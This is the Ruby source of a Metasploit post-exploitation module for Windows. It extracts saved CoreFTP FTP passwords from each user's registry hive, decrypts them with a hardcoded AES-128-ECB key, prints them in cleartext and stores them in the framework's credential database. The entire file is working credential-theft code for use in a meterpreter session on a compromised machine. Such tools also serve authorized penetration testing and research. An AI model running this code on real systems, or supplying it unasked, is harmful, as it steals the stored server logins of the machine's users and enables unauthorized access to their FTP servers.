##
# $Id: enum_coreftp_pwds.rb 13454 2011-07-31 19:02:40Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/windows/registry'
require 'msf/core/post/windows/user_profiles'

class Metasploit3 < Msf::Post
	include Msf::Post::Windows::Registry
	include Msf::Auxiliary::Report
	include Msf::Post::Windows::UserProfiles

	def initialize(info={})
		super( update_info( info,
				'Name'          => 'Windows Gather CoreFTP Saved Password Extraction',
				'Description'   => %q{
					This module extracts saved passwords from the CoreFTP FTP client. These 
				passwords are stored in the registry. They are encrypted with AES-128-ECB. 
				This module extracts and decrypts these passwords.
				},
				'License'       => MSF_LICENSE,
				'Author'        => ['TheLightCosine <thelightcosine[at]gmail.com>'],
				'Version'       => '$Revision: 13454 $',
				'Platform'      => [ 'windows' ],
				'SessionTypes'  => [ 'meterpreter' ]
			))
	end

	def run
		userhives=load_missing_hives()
		userhives.each do |hive|
			next if hive['HKU'] == nil 
			print_status("Looking at Key #{hive['HKU']}")
			begin
				subkeys = registry_enumkeys("#{hive['HKU']}\\Software\\FTPware\\CoreFTP\\Sites")
				if subkeys.nil? or subkeys.empty?
					print_status ("CoreFTP not installed for this user.")
					return
				end

				subkeys.each do |site|
					site_key = "#{hive['HKU']}\\Software\\FTPware\\CoreFTP\\Sites\\#{site}"
					host = registry_getvaldata(site_key, "Host")
					user = registry_getvaldata(site_key, "User")
					port = registry_getvaldata(site_key, "Port")
					epass = registry_getvaldata(site_key, "PW")
					next if epass == nil or epass == ""
					pass = decrypt(epass)
					print_good("Host: #{host} Port: #{port} User: #{user}  Password: #{pass}")
					auth = 
						{
							:host => host, :port => port, :sname => 'ftp',
							:user => user, :pass => pass,
							:type => 'password', :active => true
						}
					report_auth_info(auth)
				end
			rescue
				print_status("Not Installed for this User or Cannot Access User SID: #{hive['HKU']}")
			end 
		end
		unload_our_hives(userhives)
	end

	def decrypt(encoded)
		cipher = [encoded].pack("H*")
		aes = OpenSSL::Cipher::Cipher.new("AES-128-ECB")
		aes.padding = 0
		aes.decrypt
		aes.key = "hdfzpysvpzimorhk"
		password = aes.update(cipher) + aes.final
		return password
	end
end
